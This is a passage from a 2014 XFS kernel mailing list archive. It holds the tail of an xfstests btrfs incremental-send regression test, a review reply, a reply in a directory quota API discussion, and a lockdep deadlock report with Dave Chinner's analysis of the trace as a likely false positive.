www/ (ino 263) +# |-- foobar.txt (ino 264) +# | +# |-- c3/ (ino 265) +# |-- x/ (ino 266) +# |-- y/ (ino 267) + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap1 + +echo " world" >> $SCRATCH_MNT/a/b/c/file.txt +mv $SCRATCH_MNT/a/b/c/d $SCRATCH_MNT/a/b/c2/d2 +mv $SCRATCH_MNT/a/b/c $SCRATCH_MNT/a/b/c2/d2/cc +mv $SCRATCH_MNT/a/b/c3/x/y $SCRATCH_MNT/a/b/c2/y2 +mv $SCRATCH_MNT/a/b/c3/x $SCRATCH_MNT/a/b/c2/y2/x2 +mv $SCRATCH_MNT/a/b/c3 $SCRATCH_MNT/a/b/c2/y2/x2/Z +mv $SCRATCH_MNT/a/b/www $SCRATCH_MNT/a/b/c2/y2/x2/WWW +mv $SCRATCH_MNT/a/b/foobar.txt $SCRATCH_MNT/a/b/c2/y2/x2/qwerty.txt +ln $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2/Z/file_link.txt +mv $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2 + +# Directory tree now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c2/ (ino 262) +# |-- d2/ (ino 261) +# | |-- cc/ (ino 259) +# | |-- file.txt (ino 260) +# |-- y2/ (ino 267) +# |-- x2/ (ino 266) +# |-- qwerty.txt (ino 264) +# |-- WWW/ (ino 263) +# |-- Z/ (ino 265) +# |-- file_link.txt + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/030.out b/tests/btrfs/030.out new file mode 100644 index 0000000..d0fe5a9 --- /dev/null +++ b/tests/btrfs/030.out @@ -0,0 +1 @@ +QA output created by 030 diff --git a/tests/btrfs/group b/tests/btrfs/group index 8eb8c4f..3f61799 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -32,3 +32,4 @@ 027 auto quick 028 auto quick 029 auto quick +030 auto quick -- 1.7.9.5 From prvs=610028a7b9=jbacik@fb.com Thu Jan 23 17:48:10 2014 Return-Path: <prvs=610028a7b9=jbacik@fb.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F1FA47FB2 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 17:48:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B184F8F8054 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:48:10 -0800 (PST) X-ASG-Debug-ID: 1390520889-04bdf030ebd4180001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0a-00082601.pphosted.com [67.231.145.42]) by cuda.sgi.com with ESMTP id ApptGYKOPP4kPsuQ for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:48:09 -0800 (PST) X-Barracuda-Envelope-From: prvs=610028a7b9=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.145.42 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] Received: from pps.filterd (m0044012 [127.0.0.1]) by mx0a-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s0NNl6RC002265; Thu, 23 Jan 2014 15:48:08 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=Bv9XLc0bwHigrxU3KzZbLjQe4nLuIXnQq8FYEd07sA4=; b=XuZIZ/AVWqLw1I7VH4vXxzOra9bgqsjwcz8bEr+1tYXEWERKeo5eTkgnWQcsKYarZAWt ouEFuR64ejEHdKV+va5U3VCef+7PVFTx4UADxwr+nZ1grXnumCX4k5Qdbwn43UcVC88v Jz33l7VQlDXJEReZwMx9AebGPyb6vf/qLFQ= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0a-00082601.pphosted.com with ESMTP id 1hk5vfhmnh-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Thu, 23 Jan 2014 15:48:08 -0800 Received: from localhost.localdomain (192.168.16.4) by mail.TheFacebook.com (192.168.16.18) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 23 Jan 2014 15:48:06 -0800 Message-ID: <52E1AA35.4050803@fb.com> Date: Thu, 23 Jan 2014 18:48:05 -0500 From: Josef Bacik <jbacik@fb.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Filipe David Borba Manana <fdmanana@gmail.com>, <xfs@oss.sgi.com> CC: <linux-btrfs@vger.kernel.org> Subject: Re: [PATCH v3] xfstests: add test for btrfs incremental send infinite loop issue References: <1390348610-8098-1-git-send-email-fdmanana@gmail.com> <1390520280-19282-1-git-send-email-fdmanana@gmail.com> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: add test for btrfs incremental send infinite loop issue In-Reply-To: <1390520280-19282-1-git-send-email-fdmanana@gmail.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.16.4] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-23_05:2014-01-23,2014-01-23,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=5.60662627435704e-15 kscore.compositescore=0 circleOfTrustscore=834.433483666948 compositescore=0.533125042697551 urlsuspect_oldscore=0.533125042697551 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=1996008 rbsscore=0.533125042697551 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401230173 X-FB-Internal: deliver X-Barracuda-Connect: mx0a-00082601.pphosted.com[67.231.145.42] X-Barracuda-Start-Time: 1390520889 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/23/2014 06:38 PM, Filipe David Borba Manana wrote: > Regression test for btrfs' incremental send feature: > > 1) Create several nested directories; > > 2) Create a read only snapshot; > > 3) Change the parentship of some of the deepest directories in a reverse > way, so that parents become children and children become parents; > > 4) Create another read only snapshot and use it for an incremental send > relative to the first snapshot. > > At step 4 btrfs' send entered an infinite loop, increasing the memory it > used while building path strings until a krealloc was unable to allocate > more memory, which caused a warning dump in dmesg. > > The following linux kernel patch fixes this issue. > > Btrfs: fix infinite path build loops in incremental send > (https://patchwork.kernel.org/patch/3522361/) > > Signed-off-by: Filipe David Borba Manana <fdmanana@gmail.com> Reviewed-by: Josef Bacik <jbacik@fb.com> Thanks, Josef From darrick.wong@oracle.com Thu Jan 23 18:07:05 2014 Return-Path: <darrick.wong@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1552A29E0F for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 18:07:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DA0618F8040 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 16:07:01 -0800 (PST) X-ASG-Debug-ID: 1390522013-04cb6c7509c6c30001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id TdbwHwuLG9YrGAKU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Thu, 23 Jan 2014 16:06:54 -0800 (PST) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0O06Xpf020275 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 24 Jan 2014 00:06:34 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0O06VIL003422 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 24 Jan 2014 00:06:33 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0O06VRB021570; Fri, 24 Jan 2014 00:06:31 GMT Received: from localhost (/10.145.179.107) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 23 Jan 2014 16:06:31 -0800 Date: Thu, 23 Jan 2014 16:06:29 -0800 From: "Darrick J. Wong" <darrick.wong@oracle.com> To: Dave Chinner <david@fromorbit.com> Cc: Andreas Dilger <adilger@dilger.ca>, Ext4 Developers List <linux-ext4@vger.kernel.org>, "Theodore Ts'o" <tytso@mit.edu>, Dmitry Monakhov <dmonakhov@openvz.org>, Ben Myers <bpm@sgi.com>, xfs@oss.sgi.com, Li Xi <pkuelelixi@gmail.com> Subject: Re: [RFC] directory quota survey on xfs Message-ID: <20140124000629.GB8973@birch.djwong.org> X-ASG-Orig-Subj: Re: [RFC] directory quota survey on xfs References: <20131222095929.GA11444@gmail.com> <20131223014222.GC3220@dastard> <20140115081201.GA3820@gmail.com> <5966C533-EF18-4804-8C83-DFBD607D9BE6@dilger.ca> <20140115213207.GJ3431@dastard> <20140121070706.GA1819@gmail.com> <20140123223205.GJ27606@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140123223205.GJ27606@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1390522014 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144410 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Fri, Jan 24, 2014 at 09:32:05AM +1100, Dave Chinner wrote: > On Tue, Jan 21, 2014 at 03:07:06PM +0800, Zheng Liu wrote: > > Hi Dave, > > > > On Thu, Jan 16, 2014 at 08:32:07AM +1100, Dave Chinner wrote: > > > On Wed, Jan 15, 2014 at 11:03:22AM -0700, Andreas Dilger wrote: > > > > quotas (to keep compatibility for existing XFS deployments), but add > > > > support into quota-tools so that it is usable by all filesystems. > > > > > > Well, yes. If you are writing a generic quota tool, then it needs to > > > support all filesystems. We already have a fully featured quota API > > > that can provide this support - it's the API that XFS has been using > > > since it was ported to Linux. We have the opportunity to unify the > > > quota APIs that ext4 and XFS, so we should take the opportunity > > > while it is here. Don't create a new API for ext4 simply because of > > > NIH syndrome. > > > > These days I was thinking about your comment that uses quotactl API to > > communicate the userspace tool with the kernel. But I am still > > confusing about your comment that unifies the quota API between ext4 and > > XFS. > > > > Now we have two flag sets in quotactl(2). One (Q_QUOTAON, Q_GETQUOTA, > > etc...) is used by extN file system (I am not sure whether other file > > systems use these flags or not), and another (Q_XQUOTAON, Q_XGETQSTAT, > > etc...) is used by XFS. > > I'm talking about making ext4 be able to use Q_XQUOTAON, > Q_XGETQSTAT, etc. > > > In xfs_quota it uses an ioctl(2) to get/set/check project id, > > Right, because that's a filesystem specific operation that has no > equivalent in any other filesystem at this point in time. Same for > the project inheritence inode flag. > > You're going to need to add such an interface to ext4 to do this, so > add a generic ioctl and wire XFS up to it as well. This is kind > of why I want a generic xattr namespace for inode flags/attribute > at the VFS - so we don't have to keep inventing new > ioctl/fcntl interfaces to make this sort of functionality common > between different filesystems - we just define a new attribute > string and values and let individual filesystems handle how they > store them. I wonder, do you have an opinion on my patches to do just that? Since it was an RFC I only wired up ext4; first with string-based xattrs[1] and again as a (namespace, flags) integer tuple[2]. Jan disliked juggling strings around (they don't bring me oodles of happiness either), Christoph doesn't like the magic xattrs, and Ted seemed lukewarm so I'm inclined to fix up the other FSes a la [2]. (...and please everybody don't co-opt this thread for inode flags any more than I have.) --D [1] http://lkml.org/lkml/2014/1/6/1059 (fs: xattr-based FS_IOC_[GS]ETFLAGS interface) [2] http://lkml.org/lkml/2014/1/7/534 (fs: new FS_IOC_[GS]ETFLAGS2 interface) From jwboyer@fedoraproject.org Thu Jan 23 19:59:01 2014 Return-Path: <jwboyer@fedoraproject.org> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E1DCB7F60 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 19:59:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id BEE95304032 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 17:59:01 -0800 (PST) X-ASG-Debug-ID: 1390528740-04cbb05bacc8490001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hb1jzYjHe8ez1Brk; Thu, 23 Jan 2014 17:59:01 -0800 (PST) X-Barracuda-Envelope-From: jwboyer@fedoraproject.org X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0O1wwDk015558 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 23 Jan 2014 20:58:58 -0500 Received: from hansolo.jdub.homelinux.org (ovpn-113-115.phx2.redhat.com [10.3.113.115]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0O1wu5P012461 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 23 Jan 2014 20:58:58 -0500 Date: Thu, 23 Jan 2014 20:58:56 -0500 From: Josh Boyer <jwboyer@fedoraproject.org> To: Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> Cc: sandeen@redhat.com, xfs@oss.sgi.com, linux-kernel@vger.kernel.org Subject: XFS lockdep spew with v3.13-4156-g90804ed Message-ID: <20140124015855.GM16455@hansolo.jdub.homelinux.org> X-ASG-Orig-Subj: XFS lockdep spew with v3.13-4156-g90804ed MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390528740 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi All, I'm hitting an XFS lockdep error with Linus' tree today after the XFS merge. I wasn't hitting this with v3.13-3995-g0dc3fd0, which seems to backup the "before XFS merge" claim. Full text below: [ 132.638044] ====================================================== [ 132.638045] [ INFO: possible circular locking dependency detected ] [ 132.638047] 3.14.0-0.rc0.git7.1.fc21.x86_64 #1 Not tainted [ 132.638048] ------------------------------------------------------- [ 132.638049] gnome-session/1432 is trying to acquire lock: [ 132.638050] (&mm->mmap_sem){++++++}, at: [<ffffffff811b846f>] might_fault+0x 5f/0xb0 [ 132.638055] but task is already holding lock: [ 132.638056] (&(&ip->i_lock)->mr_lock){++++..}, at: [<ffffffffa05b3c12>] xfs_ ilock+0xf2/0x1c0 [xfs] [ 132.638076] which lock already depends on the new lock. [ 132.638077] the existing dependency chain (in reverse order) is: [ 132.638078] -> #1 (&(&ip->i_lock)->mr_lock){++++..}: [ 132.638080] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 [ 132.638083] [<ffffffff8178312e>] _raw_spin_lock+0x3e/0x80 [ 132.638085] [<ffffffff8123c579>] __mark_inode_dirty+0x119/0x440 [ 132.638088] [<ffffffff812447fc>] __set_page_dirty+0x6c/0xc0 [ 132.638090] [<ffffffff812477e1>] mark_buffer_dirty+0x61/0x180 [ 132.638092] [<ffffffff81247a31>] __block_commit_write.isra.21+0x81/0xb0 [ 132.638094] [<ffffffff81247be6>] block_write_end+0x36/0x70 [ 132.638096] [<ffffffff81247c48>] generic_write_end+0x28/0x90 [ 132.638097] [<ffffffffa0554cab>] xfs_vm_write_end+0x2b/0x70 [xfs] [ 132.638104] [<ffffffff8118c4f6>] generic_file_buffered_write+0x156/0x260 [ 132.638107] [<ffffffffa05651d7>] xfs_file_buffered_aio_write+0x107/0x250 [xfs] [ 132.638115] [<ffffffffa05653eb>] xfs_file_aio_write+0xcb/0x130 [xfs] [ 132.638122] [<ffffffff8120af8a>] do_sync_write+0x5a/0x90 [ 132.638125] [<ffffffff8120b74d>] vfs_write+0xbd/0x1f0 [ 132.638126] [<ffffffff8120c15c>] SyS_write+0x4c/0xa0 [ 132.638128] [<ffffffff8178db69>] system_call_fastpath+0x16/0x1b [ 132.638130] -> #0 (&mm->mmap_sem){++++++}: [ 132.638132] [<ffffffff810de0fc>] __lock_acquire+0x18ec/0x1aa0 [ 132.638133] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 [ 132.638135] [<ffffffff811b849c>] might_fault+0x8c/0xb0 [ 132.638136] [<ffffffff81220a91>] filldir+0x91/0x120 [ 132.638138] [<ffffffffa0560f7f>] xfs_dir2_sf_getdents+0x23f/0x2a0 [xfs] [ 132.638146] [<ffffffffa05613fb>] xfs_readdir+0x16b/0x1d0 [xfs] [ 132.638154] [<ffffffffa056383b>] xfs_file_readdir+0x2b/0x40 [xfs] [ 132.638161] [<ffffffff812208d8>] iterate_dir+0xa8/0xe0 [ 132.638163] [<ffffffff81220d83>] SyS_getdents+0x93/0x120 [ 132.638165] [<ffffffff8178db69>] system_call_fastpath+0x16/0x1b [ 132.638166] other info that might help us debug this: [ 132.638167] Possible unsafe locking scenario: [ 132.638168] CPU0 CPU1 [ 132.638169] ---- ---- [ 132.638169] lock(&(&ip->i_lock)->mr_lock); [ 132.638171] lock(&mm->mmap_sem); [ 132.638172] lock(&(&ip->i_lock)->mr_lock); [ 132.638173] lock(&mm->mmap_sem); [ 132.638174] *** DEADLOCK *** [ 132.638176] 2 locks held by gnome-session/1432: [ 132.638177] #0: (&type->i_mutex_dir_key#4){+.+.+.}, at: [<ffffffff81220892>] iterate_dir+0x62/0xe0 [ 132.638180] #1: (&(&ip->i_lock)->mr_lock){++++..}, at: [<ffffffffa05b3c12>] xfs_ilock+0xf2/0x1c0 [xfs] [ 132.638193] stack backtrace: [ 132.638195] CPU: 3 PID: 1432 Comm: gnome-session Not tainted 3.14.0-0.rc0.git7.1.fc21.x86_64 #1 [ 132.638196] Hardware name: Dell Inc. XPS 8300 /0Y2MRG, BIOS A06 10/17/2011 [ 132.638197] ffffffff825ba040 ffff88030dc75c60 ffffffff8177a8c9 ffffffff825ba040 [ 132.638199] ffff88030dc75ca0 ffffffff8177616c ffff88030dc75cf0 ffff8802fb51dba8 [ 132.638201] ffff8802fb51d010 0000000000000002 0000000000000002 ffff8802fb51dba8 [ 132.638203] Call Trace: [ 132.638205] [<ffffffff8177a8c9>] dump_stack+0x4d/0x66 [ 132.638207] [<ffffffff8177616c>] print_circular_bug+0x201/0x20f [ 132.638210] [<ffffffff810de0fc>] __lock_acquire+0x18ec/0x1aa0 [ 132.638212] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 [ 132.638213] [<ffffffff811b846f>] ? might_fault+0x5f/0xb0 [ 132.638215] [<ffffffff811b849c>] might_fault+0x8c/0xb0 [ 132.638216] [<ffffffff811b846f>] ? might_fault+0x5f/0xb0 [ 132.638218] [<ffffffff81220a91>] filldir+0x91/0x120 [ 132.638226] [<ffffffffa0560f7f>] xfs_dir2_sf_getdents+0x23f/0x2a0 [xfs] [ 132.638237] [<ffffffffa05b3c12>] ? xfs_ilock+0xf2/0x1c0 [xfs] [ 132.638245] [<ffffffffa05613fb>] xfs_readdir+0x16b/0x1d0 [xfs] [ 132.638253] [<ffffffffa056383b>] xfs_file_readdir+0x2b/0x40 [xfs] [ 132.638255] [<ffffffff812208d8>] iterate_dir+0xa8/0xe0 [ 132.638258] [<ffffffff8122ca7c>] ? fget_light+0x3c/0x4f0 [ 132.638260] [<ffffffff81220d83>] SyS_getdents+0x93/0x120 [ 132.638261] [<ffffffff81220a00>] ? fillonedir+0xf0/0xf0 [ 132.638264] [<ffffffff81134ecc>] ? __audit_syscall_entry+0x9c/0xf0 [ 132.638265] [<ffffffff8178db69>] system_call_fastpath+0x16/0x1b josh From david@fromorbit.com Thu Jan 23 20:29:27 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9735A7FA7 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 20:29:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id F3188AC004 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 18:29:23 -0800 (PST) X-ASG-Debug-ID: 1390530558-04cbb05bacc8fb0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id DQ34gmrNK0wwFY8D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 18:29:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AugJAIHP4VJ5LGaB/2dsb2JhbABagwyDOrQ5hVCBCxd0giUBAQEDAScTHCMFCwgDDgoJJQ8FJQMhE4d9B8cqFxaNf2sHhDgElD2DZZIZg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 24 Jan 2014 12:59:07 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W6WVz-0006k4-SS; Fri, 24 Jan 2014 13:29:03 +1100 Date: Fri, 24 Jan 2014 13:29:03 +1100 From: Dave Chinner <david@fromorbit.com> To: Josh Boyer <jwboyer@fedoraproject.org> Cc: Ben Myers <bpm@sgi.com>, sandeen@redhat.com, xfs@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: XFS lockdep spew with v3.13-4156-g90804ed Message-ID: <20140124022903.GK27606@dastard> X-ASG-Orig-Subj: Re: XFS lockdep spew with v3.13-4156-g90804ed References: <20140124015855.GM16455@hansolo.jdub.homelinux.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140124015855.GM16455@hansolo.jdub.homelinux.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1390530558 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144413 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 23, 2014 at 08:58:56PM -0500, Josh Boyer wrote: > Hi All, > > I'm hitting an XFS lockdep error with Linus' tree today after the XFS > merge. I wasn't hitting this with v3.13-3995-g0dc3fd0, which seems > to backup the "before XFS merge" claim. Full text below: Ugh. mmap_sem/inode lock order stupidity. Looks like a false positive. Basically, it's complaining that a page fault can occur in getdents() syscall on a user buffer while the directory IO lock is held, and then complaining that a this is the opposite lock order for a > > > [ 132.638044] ====================================================== > [ 132.638045] [ INFO: possible circular locking dependency detected ] > [ 132.638047] 3.14.0-0.rc0.git7.1.fc21.x86_64 #1 Not tainted > [ 132.638048] ------------------------------------------------------- > [ 132.638049] gnome-session/1432 is trying to acquire lock: > [ 132.638050] (&mm->mmap_sem){++++++}, at: [<ffffffff811b846f>] might_fault+0x > 5f/0xb0 > [ 132.638055] > but task is already holding lock: > [ 132.638056] (&(&ip->i_lock)->mr_lock){++++..}, at: [<ffffffffa05b3c12>] xfs_ > ilock+0xf2/0x1c0 [xfs] > [ 132.638076] > which lock already depends on the new lock. > > [ 132.638077] > the existing dependency chain (in reverse order) is: > [ 132.638078] > -> #1 (&(&ip->i_lock)->mr_lock){++++..}: > [ 132.638080] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 > [ 132.638083] [<ffffffff8178312e>] _raw_spin_lock+0x3e/0x80 > [ 132.638085] [<ffffffff8123c579>] __mark_inode_dirty+0x119/0x440 > [ 132.638088] [<ffffffff812447fc>] __set_page_dirty+0x6c/0xc0 > [ 132.638090] [<ffffffff812477e1>] mark_buffer_dirty+0x61/0x180 > [ 132.638092] [<ffffffff81247a31>] __block_commit_write.isra.21+0x81/0xb0 > [ 132.638094] [<ffffffff81247be6>] block_write_end+0x36/0x70 > [ 132.638096] [<ffffffff81247c48>] generic_write_end+0x28/0x90 > [ 132.638097] [<ffffffffa0554cab>] xfs_vm_write_end+0x2b/0x70 [xfs] > [ 132.638104] [<ffffffff8118c4f6>] generic_file_buffered_write+0x156/0x260 > [ 132.638107] [<ffffffffa05651d7>] xfs_file_buffered_aio_write+0x107/0x250 [xfs] > [ 132.638115] [<ffffffffa05653eb>] xfs_file_aio_write+0xcb/0x130 [xfs] > [ 132.638122] [<ffffffff8120af8a>] do_sync_write+0x5a/0x90 > [ 132.638125] [<ffffffff8120b74d>] vfs_write+0xbd/0x1f0 > [ 132.638126] [<ffffffff8120c15c>] SyS_write+0x4c/0xa0 > [ 132.638128] [<ffffffff8178db69>] system_call_fastpath+0x16/0x1b Sorry, what? That trace is taking the ip->i_vnode->i_lock *spinlock*, not the ip->i_lock *rwsem*. And it's most definitely not currently holding the ip->i_lock rwsem here. I think lockdep has dumped the wrong stack trace here, because it most certainly doesn't match the unsafe locking scenario that has been detected. > [ 132.638130] > -> #0 